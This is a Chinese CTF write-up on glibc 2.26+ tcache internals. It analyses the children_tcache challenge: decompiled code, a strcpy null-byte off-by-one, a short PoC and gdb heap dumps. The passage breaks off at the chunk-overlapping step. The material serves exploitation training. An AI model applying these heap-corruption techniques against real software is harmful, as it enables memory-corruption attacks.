{ "line_start_idx": [ 0, 20, 28, 47, 61, 74, 87, 119, 129, 137, 148, 154, 185, 186, 244, 245, 264, 265, 342, 465, 617, 796, 1027, 1028, 1029, 1044, 1045, 1053, 1054, 1062, 1082, 1096, 1109, 1122, 1145, 1155, 1165, 1176, 1182, 1215, 2091, 2092, 2655, 2667, 2668, 2688, 2689, 2722, 2751, 2784, 2816 ], "line_end_idx": [ 20, 28, 47, 61, 74, 87, 119, 129, 137, 148, 154, 185, 186, 244, 245, 264, 265, 342, 465, 617, 796, 1027, 1028, 1029, 1044, 1045, 1053, 1054, 1062, 1082, 1096, 1109, 1122, 1145, 1155, 1165, 1176, 1182, 1215, 2091, 2092, 2655, 2667, 2668, 2688, 2689, 2722, 2751, 2784, 2816, 2821 ] }
{ "red_pajama_v2": { "ccnet_original_length": 2821, "ccnet_original_nlines": 50, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.42095914483070374, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.017761990427970886, "rps_doc_frac_lines_end_with_ellipsis": 0.019607840105891228, "rps_doc_frac_no_alph_words": 0.16873890161514282, "rps_doc_frac_unique_words": 0.4917355477809906, "rps_doc_mean_word_length": 4.359504222869873, "rps_doc_num_sentences": 27, "rps_doc_symbol_to_word_ratio": 0.005328599829226732, "rps_doc_unigram_entropy": 5.082947731018066, "rps_doc_word_count": 484, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.0199052095413208, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.011848339810967445, "rps_doc_frac_chars_top_3gram": 0.013270139694213867, "rps_doc_frac_chars_top_4gram": 0.01895735040307045, "rps_doc_books_importance": -260.9380798339844, "rps_doc_books_importance_length_correction": -260.9380798339844, "rps_doc_openwebtext_importance": -148.53721618652344, "rps_doc_openwebtext_importance_length_correction": -148.53721618652344, "rps_doc_wikipedia_importance": -91.29022979736328, "rps_doc_wikipedia_importance_length_correction": -91.29022979736328 }, "fasttext": { "dclm": 0.02523338980972767, "english": 0.9490146636962891, "fineweb_edu_approx": 1.2206945419311523, "eai_general_math": 0.15532463788986206, "eai_open_web_math": 0.22335803508758545, "eai_web_code": 0.0004642000130843371 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.74", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "005.82", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "4", "label": "Analyze" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "3", "label": "Reference/Encyclopedic/Educational" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "4", "label": "Missing Images or Figures" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "6", "label": "Not Applicable/Indeterminate" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
3,997,371,983,441,555,000
Dividing Fractions Calculator Including Whole and Mixed Numbers [ Skip to Calculator ] Calcy pointing down The Dividing Fractions Calculator on this page will divide any combination of fraction, mixed number, or whole number. This free online divide fractions calculator is handy for dividing fractions, dividing fractions and mixed numbers, and dividing fractions by whole numbers. And in all cases the calculator will restate the quotient fraction in simplest form. Plus, unlike other online fraction calculators, this Dividing Fractions Calculator will show its work and give a detailed step-by-step explanation as to how it arrived at the calculated quotient. Also, if you're ever unsure if the fraction you're dividing by is greater or less than the fraction you are dividing into, be sure to check out my fraction comparison calculator. How to Divide Fractions While fraction division has one more step than fraction multiplication, it is still much easier than adding and subtracting fractions -- because there is no need to worry about the denominators being like or unlike. Instead, all you need to do is invert (flip upside down) the divisor (second term in the division equation) and change the sign from division (÷) to multiplication (x), then multiply the dividend (first term in the division equation) by the inverted divisor. To complete the fraction division you simply multiply the numerators of each fraction to get a new numerator and then multiply the denominators of each fraction to get a new denominator -- regardless of whether the denominators are different or the same. The following illustrates how you would divide a dividend of 1/2 by a divisor of 1/3: Step #1: Invert the Divisor   1÷ 1 = 1 x 3   2 3 2 1 Step #2: Multiply Dividend by Inverted Divisor   1 x 3 = 3 = 1 1   2 1 2 2 Dividing Fractions and Mixed Numbers If you need to divide a fraction by a mixed number, you first need to convert the mixed number to an improper fraction. To do that, you simply multiply the denominator by the whole number and add that product to the value of the numerator. That result then becomes the numerator of the improper fraction, while the denominator remains the same. To illustrate, here is how you would convert the mixed number 2 1/3 (two and one third) into an improper fraction: Converting a Mixed Number to a Fraction   2 1 = 3 x 2 + 1 = 7  3 33 Once you have converted the mixed number to an improper fraction, you simply divide the fractions as normal. Of course, the dividing fractions calculator will do all of this for you with the click of the "Calculate Fraction Division" button. Dividing Fractions By Whole Numbers Here again, in order to divide a fraction by a whole number you first need to convert the whole number into an improper fraction. To do that you simply place the whole number over the number 1 (any non-zero number divided by 1 is equal to the number), like this: Converting a Whole Number to a Fraction   4 = 4   1 Once you have converted the whole number into an improper fraction, you simply divide the fractions as explained earlier. With that, let's use the Dividing Fractions Calculator to divide any combination of a fraction, a mixed number, or a whole number, and then simplify the result. Dividing Fractions Calculator Calcy sign introducing Dividing Fractions Calculator Instructions: Enter the whole number, numerator (top) and the denominator (bottom) of the dividend. Next, enter the whole number, numerator and denominator of the divisor, and then click the "Calculate Fraction Division" button. Note that for the dividend or the divisor you can either enter a whole number only, a mixed number, or a fraction only. The dividing fractions calculator will automically detect which type you entered. Mouse over the blue question marks for a further explanation of each entry field. More in-depth explanations can be found in the glossary of terms located beneath the Dividing Fractions Calculator. Important: This first version of the calculator is not designed to work with negative signs, so please limit your entries to positive numbers. You can then use the rule of dividing negative numbers to apply a sign to the result.   Help Dividend   Help Divisor   Whole # Fraction   Whole # Fraction Help Numerators (#): ÷ Help Denominators (#): Help Quotient of fractions, whole, or mixed numbers: Mathway Algebra Calculator Dividing Fractions Calculator Glossary of Terms Calcy magnifying glass Check Out My Other Super Online Math Calculators To Help You To Solve and Learn ... Super Calcy Dividend: The first term in the division equation. If the dividend is a whole number only, leave the numerator and denominator blank. If the dividend is a mixed number, enter a positive integer for the whole number, the numerator, and denominator. If the dividend is a fraction only, leave the whole number field blank. Divisor: The second term in the division equation. If the divisor is a whole number only, leave the numerator and denominator blank. If the divisor is a mixed number, enter a positive integer for the whole number, the numerator, and denominator. If the divisor is a fraction only, leave the whole number field blank. Numerators: Enter the top number for the dividend if it contains a fraction and enter the top number for the divisor if it contains a fraction. Leave the numerator and denominator fields blank for any dividend or divisor that is a whole number only. Denominators: Enter the bottom number for the dividend if it contains a fraction and enter the bottom number for the divisor if it contains a fraction. Leave the numerator and denominator fields blank for any dividend or divisor that is a whole number only. Quotient of fractions, whole, or mixed numbers: This is the result of dividing the entered fractions, mixed numbers, and/or whole numbers. After inverting the divisor and calculating the quotient of fractions, the dividing fractions calculator will show its work and give a detailed explanation of each step it took to arrive at the quotient. Mixed number: The combination of a whole number and a fraction, such as 3 1/4 (three and one quarter). Improper fraction: A fraction having a numerator that is larger than the denominator, such as 5/3. Multiplicand: The first factor in a multiplication. In the equation 1/3 x 1/2, 1/3 would be the multiplicand. Multiplier: The second factor in a multiplication. In the equation 1/3 x 1/2, 1/2 would be the multiplier. Product: The result of multiplying the multiplicand by the multiplier. [ Return to Top of Calculator ] [ Return to Top of Page ] Calcy pointing up > > Dividing Fractions Calculator +1 Free-Online-Calculator-Use.com +1 Page Site Help Protected by Copyscape Online Plagiarism Detection AhaCalcs.com Logo Look! It's ... Super Version! • Save your calculator entries between visits and devices! • Ad-free! • And more! Super Version Info Get the book that changed my life! Follow me on any of the social media sites below and be among the first to get a sneak peek at the newest and coolest calculators that are being added or updated each month. Monthly What's New Email Update! Who knows if I will show up in your next search. This will insure you'll always know what I've been up to and where you can find me! Email Name Then Don't worry -- your e-mail address is totally secure. I promise to use it only to send you Whats New. Online Pocket Calc Help Online math problem solver image Find a Local Math Tutor Today
{ "url": "http://www.free-online-calculator-use.com/dividing-fractions-calculator.html", "source_domain": "www.free-online-calculator-use.com", "snapshot_id": "crawl=CC-MAIN-2016-07", "warc_metadata": { "Content-Length": "66626", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:WSPLKLSG5O4ADDONNA5GGUJBCUAZV7SG", "WARC-Concurrent-To": "<urn:uuid:4b2ee817-b1ea-4f51-9b9e-79b8656c0062>", "WARC-Date": "2016-02-05T21:55:39Z", "WARC-IP-Address": "66.43.63.254", "WARC-Identified-Payload-Type": null, "WARC-Payload-Digest": "sha1:QIRK3FODKAAYNHKMZJ3RDCRVRGVIBHXC", "WARC-Record-ID": "<urn:uuid:bfdc5545-eee6-45f8-afe7-6163cbab734d>", "WARC-Target-URI": "http://www.free-online-calculator-use.com/dividing-fractions-calculator.html", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:fcb60a26-d0f1-45ea-9c68-f9bf3d15b277>" }, "warc_info": "robots: classic\r\nhostname: ip-10-236-182-209.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2016-07\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for February 2016\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf" }
{ "line_start_idx": [ 0, 30, 64, 65, 108, 109, 228, 229, 471, 472, 668, 669, 848, 849, 873, 874, 1090, 1091, 1350, 1351, 1606, 1607, 1693, 1694, 1722, 1723, 1740, 1748, 1749, 1750, 1797, 1798, 1818, 1826, 1827, 1864, 1865, 2210, 2211, 2326, 2327, 2367, 2368, 2391, 2396, 2397, 2639, 2640, 2676, 2677, 2940, 2941, 2981, 2982, 2992, 2994, 2995, 3117, 3118, 3279, 3280, 3310, 3363, 3364, 3365, 3465, 3466, 3595, 3596, 3798, 3799, 3997, 3998, 4227, 4228, 4259, 4297, 4320, 4343, 4396, 4397, 4424, 4425, 4473, 4474, 4497, 4498, 4523, 4547, 4562, 4582, 4594, 4595, 4915, 4916, 5233, 5234, 5484, 5485, 5743, 5744, 6087, 6088, 6191, 6192, 6291, 6292, 6402, 6403, 6510, 6511, 6582, 6583, 6659, 6660, 6661, 6662, 6696, 6697, 6698, 6699, 6733, 6746, 6751, 6752, 6753, 6804, 6828, 6852, 6913, 6926, 6940, 6959, 6960, 6995, 6996, 7170, 7171, 7204, 7205, 7338, 7339, 7345, 7346, 7351, 7352, 7357, 7358, 7412, 7460, 7479, 7484, 7485, 7486, 7487, 7488, 7489, 7522 ], "line_end_idx": [ 30, 64, 65, 108, 109, 228, 229, 471, 472, 668, 669, 848, 849, 873, 874, 1090, 1091, 1350, 1351, 1606, 1607, 1693, 1694, 1722, 1723, 1740, 1748, 1749, 1750, 1797, 1798, 1818, 1826, 1827, 1864, 1865, 2210, 2211, 2326, 2327, 2367, 2368, 2391, 2396, 2397, 2639, 2640, 2676, 2677, 2940, 2941, 2981, 2982, 2992, 2994, 2995, 3117, 3118, 3279, 3280, 3310, 3363, 3364, 3365, 3465, 3466, 3595, 3596, 3798, 3799, 3997, 3998, 4227, 4228, 4259, 4297, 4320, 4343, 4396, 4397, 4424, 4425, 4473, 4474, 4497, 4498, 4523, 4547, 4562, 4582, 4594, 4595, 4915, 4916, 5233, 5234, 5484, 5485, 5743, 5744, 6087, 6088, 6191, 6192, 6291, 6292, 6402, 6403, 6510, 6511, 6582, 6583, 6659, 6660, 6661, 6662, 6696, 6697, 6698, 6699, 6733, 6746, 6751, 6752, 6753, 6804, 6828, 6852, 6913, 6926, 6940, 6959, 6960, 6995, 6996, 7170, 7171, 7204, 7205, 7338, 7339, 7345, 7346, 7351, 7352, 7357, 7358, 7412, 7460, 7479, 7484, 7485, 7486, 7487, 7488, 7489, 7522, 7551 ] }
{ "red_pajama_v2": { "ccnet_original_length": 7551, "ccnet_original_nlines": 157, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.3924221992492676, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.0027063600718975067, "rps_doc_frac_lines_end_with_ellipsis": 0.006329109892249107, "rps_doc_frac_no_alph_words": 0.1820027083158493, "rps_doc_frac_unique_words": 0.2530217468738556, "rps_doc_mean_word_length": 4.805801868438721, "rps_doc_num_sentences": 62, "rps_doc_symbol_to_word_ratio": 0.005412720143795013, "rps_doc_unigram_entropy": 4.88384485244751, "rps_doc_word_count": 1241, "rps_doc_frac_chars_dupe_10grams": 0.15560026466846466, "rps_doc_frac_chars_dupe_5grams": 0.3316566050052643, "rps_doc_frac_chars_dupe_6grams": 0.25855129957199097, "rps_doc_frac_chars_dupe_7grams": 0.23407109081745148, "rps_doc_frac_chars_dupe_8grams": 0.18309858441352844, "rps_doc_frac_chars_dupe_9grams": 0.17136150598526, "rps_doc_frac_chars_top_2gram": 0.036887988448143005, "rps_doc_frac_chars_top_3gram": 0.05432596057653427, "rps_doc_frac_chars_top_4gram": 0.03018108941614628, "rps_doc_books_importance": -627.189697265625, "rps_doc_books_importance_length_correction": -627.189697265625, "rps_doc_openwebtext_importance": -332.81622314453125, "rps_doc_openwebtext_importance_length_correction": -332.81622314453125, "rps_doc_wikipedia_importance": -365.1270751953125, "rps_doc_wikipedia_importance_length_correction": -365.1270751953125 }, "fasttext": { "dclm": 0.44991475343704224, "english": 0.8441375494003296, "fineweb_edu_approx": 2.360837936401367, "eai_general_math": 0.941804826259613, "eai_open_web_math": 0.8560232520103455, "eai_web_code": 0.004651189781725407 } }
{ "free_decimal_correspondence": { "primary": { "code": "513.24", "labels": { "level_1": "Science and Natural history", "level_2": "Mathematics", "level_3": "Geometry" } }, "secondary": { "code": "004.656", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "2", "label": "Understand" }, "secondary": { "code": "3", "label": "Apply" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "23", "label": "Tutorial" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "1", "label": "General Audience" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-2,615,654,471,168,745,500
MQTT v5 带来了很多新的特性,我们会尽量以通俗易懂的方式展示这些特性,并探讨这些特性对开发者的影响。到目前为⽌,我们已经探讨过这些 MQTT v5 新特性 (opens new window),现在我们将继续讨论: 流量控制 # 流量控制 通常服务端的资源都是固定且有限的,而客户端的流量则可能是随时随地变化的。正常业务(用户集中访问、设备大量重启)、被恶意攻击、网络波动,都会导致流量出现激增,如果服务端没有对其进行任何限制,就会导致负载迅速上升,进而导致响应速度下降,影响其他业务,甚至导致系统瘫痪。 image20200730133959150.png 因此,我们需要流量控制,可以是限制发送端的发送速率,也可以是限制接收端的接收速率,但最终目的都是保证系统的稳定。常用的流控算法有滑动窗口计数法、漏桶算法以及令牌桶算法。 MQTT v3 没有规范流量控制行为,导致客户端和服务端在实现上百花齐放,进而影响了设备的接入和管理。不过现在,MQTT v5 已经引入了流量控制功能,这也是我们接下来将要探讨的内容。 # MQTT v5 中的流量控制 在 MQTT v5 中,发送端会有一个初始的发送配额,每当它发送一个 QoS 大于 0 的 PUBLISH 报文,发送配额就相应减一,而每当收到一个响应报文(PUBACK、PUBCOMP 或 PUBREC),发送配额就会加一。如果接收端没有及时响应,导致发送端的发送配额减为 0,发送端应当停止发送所有 QoS 大于 0 的 PUBLISH 报文直至发送配额恢复。我们可以将其视为变种的令牌桶算法,它们之间的区别仅仅是增加配额的方式从以固定速率增加变成了按实际收到响应报文的速率增加。 这种算法能够更加积极和充分地利用资源,因为它没有在发送速率的层面上进行限制,发送速率完全取决于对端的响应速率和网络情况,如果接收端空闲且网络良好,那么发送端可以得到比较高的发送速率,反之则会被限制到一个比较低的发送速率上。 # Receive Maximum 属性 为了支持流量控制,MQTT v5 新增了一个 Receive Maximum 属性,它存在于 CONNECT 报文与 CONNACK 报文,表示客户端或服务端愿意同时处理的 QoS 为 1 和 2 的 PUBLISH 报文最大数量,即对端可以使用的最大发送配额。如果接收端已收到但未发送响应的 QoS 大于 0 的 PUBLISH 报文数量超过 Receive Maximum 的值,接收端将断开连接避免受到更严重的影响。 image20200730173320715.png # 为什么没有 QoS 0 ? 也许你已经发现,前文所有提到 PUBLISH 报文的地方都使用了定语: QoS 大于 0。QoS 0 消息的特性决定了它不存在响应报文,也许是觉得 QoS 0 消息的重要性不高,接收端可以通过强制的接收速率限制来约束 QoS 0 消息,也许是其他原因,总之最后我们看到的 MQTT v5 的流量控制机制完全依赖响应报文,这就导致它的流量控制只能局限在 QoS 1,2 消息中。 聊胜于无,MQTT v5 给出了一个并不完美的解决方案,或者说仅仅只是一个建议:当发送配额减为 0 时,发送端可以选择继续发送 QoS 为 0 的 PUBLISH 报文,也可以选择暂停发送。其中暂停发送的行为逻辑是,如果 QoS 1,2 的 PUBLISH 报文的应答速度变慢,通常意味着接收端的消费能力已经下降,继续发送 QoS 0 消息只会令情况变得更糟。 # 结论 尽管 MQTT v5 的流量控制机制依然存在一些不足,但我们依然建议用户尽可能地使用它。基于响应报文的发送配额算法使得发送端能够最大程度地利用资源,Receive Maximum 使得通信双方不再需要事先协商发送配额,从而获得更高的透明度和灵活性,这在需要接入多厂商设备时是很有帮助的。 上次更新: 2022/12/1 05:42:45
{ "url": "https://blog.mafeifan.com/Backend/Database/MQTT/MQTT5.0%E6%96%B0%E7%89%B9%E6%80%A7-%E6%B5%81%E9%87%8F%E6%8E%A7%E5%88%B6.html", "source_domain": "blog.mafeifan.com", "snapshot_id": "crawl=CC-MAIN-2022-49", "warc_metadata": { "Content-Length": "52333", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:6Z76XF246VGFOEQDVPNYFZFSHTERTUJL", "WARC-Concurrent-To": "<urn:uuid:df1f5ece-fa19-45e2-8fe9-433ba2c7363f>", "WARC-Date": "2022-12-05T08:00:49Z", "WARC-IP-Address": "49.232.138.70", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:JOGCYNALCPJH7SHJ43MPEMPLBDM7LJ5B", "WARC-Record-ID": "<urn:uuid:25f34f8a-5dc9-41e9-b0be-00780aa50a9a>", "WARC-Target-URI": "https://blog.mafeifan.com/Backend/Database/MQTT/MQTT5.0%E6%96%B0%E7%89%B9%E6%80%A7-%E6%B5%81%E9%87%8F%E6%8E%A7%E5%88%B6.html", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:83a7bb29-20eb-4b12-bdf2-de2f229f198c>" }, "warc_info": "isPartOf: CC-MAIN-2022-49\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-40\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 116, 117, 124, 125, 258, 259, 286, 287, 372, 373, 466, 467, 484, 485, 728, 729, 841, 842, 863, 864, 1076, 1077, 1104, 1105, 1121, 1122, 1311, 1312, 1493, 1494, 1499, 1500, 1644, 1645 ], "line_end_idx": [ 116, 117, 124, 125, 258, 259, 286, 287, 372, 373, 466, 467, 484, 485, 728, 729, 841, 842, 863, 864, 1076, 1077, 1104, 1105, 1121, 1122, 1311, 1312, 1493, 1494, 1499, 1500, 1644, 1645, 1669 ] }
{ "red_pajama_v2": { "ccnet_original_length": 1669, "ccnet_original_nlines": 34, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.0032894699834287167, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.07236842066049576, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.8026315569877625, "rps_doc_frac_unique_words": 0.5555555820465088, "rps_doc_mean_word_length": 11.952381134033203, "rps_doc_num_sentences": 3, "rps_doc_symbol_to_word_ratio": 0.016447370871901512, "rps_doc_unigram_entropy": 3.8112173080444336, "rps_doc_word_count": 126, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.027888450771570206, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.023904379457235336, "rps_doc_frac_chars_top_3gram": 0.023904379457235336, "rps_doc_frac_chars_top_4gram": 0.013944219797849655, "rps_doc_books_importance": -113.36996459960938, "rps_doc_books_importance_length_correction": -100.17948913574219, "rps_doc_openwebtext_importance": -63.8416633605957, "rps_doc_openwebtext_importance_length_correction": -63.8416633605957, "rps_doc_wikipedia_importance": -34.826316833496094, "rps_doc_wikipedia_importance_length_correction": -23.582921981811523 }, "fasttext": { "dclm": 0.43274664878845215, "english": 0.0032883500680327415, "fineweb_edu_approx": 1.9197676181793213, "eai_general_math": 0.05075627937912941, "eai_open_web_math": 0.026271279901266098, "eai_web_code": 0.35656195878982544 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.6", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "2", "label": "Understand" }, "secondary": { "code": "3", "label": "Apply" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "4", "label": "Missing Images or Figures" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "8", "label": "Documentation" }, "secondary": { "code": "10", "label": "Knowledge Article" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-4,111,954,144,751,059,500
在Debug中学Tcache 2019-04-04 约 4265 字 预计阅读 9 分钟 声明:本文 【在Debug中学Tcache】 由作者 断竹残赋 于 2018-11-28 07:45:00 首发 先知社区 曾经 浏览数 1755 次 感谢 断竹残赋 的辛苦付出! 前言 最近比赛Pwn的libc版本越来越多2.26以上的了,也就相当于多了不少tcache相关的题目,于是最近恶补了一波tcache机制相关的东西,并记录下tcache相关题目的调试 tcache简介 tcache(thread local )是glibc在2.26版本新出现的一种内存管理机制,它优化了分配效率却也降低了安全性,一些漏洞的利用条件变得容易了许多 首先我们先看下tcache新引入的两个数据结构tcache_entry 和tcache_perthread_struct /* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */ typedef struct tcache_entry { struct tcache_entry *next; } tcache_entry; /* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */ typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; static __thread tcache_perthread_struct *tcache = NULL; 这里简单的说明一下tcache和fastbin的结构都很相像也都是单链表结构,明显的不同是fastbin每个bins有10个块而tcache是7个并且tcache的优先级要高于fastbin,相当于只有tcache放不下了才会放入fastbin (0x20) tcache_entry[0]: 0x55ea7bc0d320 --> 0x55ea7bc0d300 --> 0x55ea7bc0d2e0 --> 0x55ea7bc0d2c0 --> 0x55ea7bc0d2a0 --> 0x55ea7bc0d280 --> 0x55ea7bc0d260 我们先看下题目的基本信息,这里我是用了自己写的一个pwn环境来实现tcache的调试具体链接会在末尾放出 ➜ tcache file children_tcache children_tcache: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=ebf73572ad77a035a366578bf87c6aabc6a235a1, stripped ➜ tcache checksec children_tcache [*] '/home/ctf/process/tcache/children_tcache' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled 64位防护全开的程序,真的刺激,我们看下程序干了些什么 ➜ tcache ./children_tcache $$$$$$$$$$$$$$$$$$$$$$$$$$$ Children Tcache $$$$$$$$$$$$$$$$$$$$$$$$$$$ $ 1. New heap $ $ 2. Show heap $ $ 3. Delete heap $ $ 4. Exit $ $$$$$$$$$$$$$$$$$$$$$$$$$$$ Your choice: 1 Size:12 Data:aaaa 一个基本的菜单类型的pwn题,在简单的审计过后就能发现漏洞,首先我们看下程序本身产生的问题 void new() { signed int i; // [rsp+Ch] [rbp-2034h] char *note_chunk; // [rsp+10h] [rbp-2030h] unsigned __int64 size; // [rsp+18h] [rbp-2028h] char buf; // [rsp+20h] [rbp-2020h] unsigned __int64 v4; // [rsp+2038h] [rbp-8h] v4 = __readfsqword(0x28u); memset(&buf, 0, 0x2010uLL); for ( i = 0; ; ++i ) { if ( i > 9 ) { puts(":("); return; } if ( !note[i] ) break; } printf("Size:"); size = input(); if ( size > 0x2000 ) exit(-2); note_chunk = malloc(size); if ( !note_chunk ) exit(-1); printf("Data:"); read_chk_input(&buf, size); strcpy(note_chunk, &buf); note[i] = note_chunk; note_size[i] = size; } 我们知道strcpy在拷贝字符串时连末尾的'\0'也会一起拷贝,假设我们的字符串长度刚好和所分配给它的长度相等,那么就可能会造成null-byte-off-by-one漏洞,我们简单的验证一下 #poc new(0x10,'a'*8) new(0x110,'aaaa') raw_input() free(0) new(0x18,'a'*0x18) raw_input() pwndbg> parseheap addr prev size status fd bk 0x565258e29000 0x0 0x250 Used None None 0x565258e29250 0x0 0x20 Used None None 0x565258e29270 0x0 0x110 Used None None pwndbg> parseheap addr prev size status fd bk 0x565258e29000 0x0 0x250 Used None None 0x565258e29250 0x0 0x20 Freed 0x61616161616161610x6161616161616161 0x565258e29270 0x6161616161616161 0x100 Freed 0x62626262 0x0 Corrupt ?! (size == 0) (0x565258e29370) pwndbg> x/8x 0x565258e29250 0x565258e29250: 0x0000000000000000 0x0000000000000021 0x565258e29260: 0x6161616161616161 0x0000000000000000 0x565258e29270: 0x0000000000000000 0x0000000000000111 0x565258e29280: 0x0000000062626262 0x0000000000000000 pwndbg> x/8x 0x565258e29250 0x565258e29250: 0x0000000000000000 0x0000000000000021 0x565258e29260: 0x6161616161616161 0x6161616161616161 0x565258e29270: 0x6161616161616161 0x0000000000000100 ==>这里原本应该为0x111但最末尾的0x11被0x00覆盖了 0x565258e29280: 0x0000000062626262 0x0000000000000000 由于这题的出题人用0xda填充整个chunk,所以我们不能直接伪造pre_size来overlapping void delete() { unsigned __int64 idx; // [rsp+8h] [rbp-8h] printf("Index:"); idx = input(); if ( idx > 9 ) exit(-3); if ( note[idx] ) { memset(note[idx], 0xDA, note_size[idx]); free(note[idx]); note[idx] = 0LL; note_size[idx] = 0LL; } puts(":)"); } 但我们刚刚才验证的null byte off-by-one溢出的字节为\x00,所以我们可以通过反复的利用这个把pre_size位清0来构造overlapping #poc 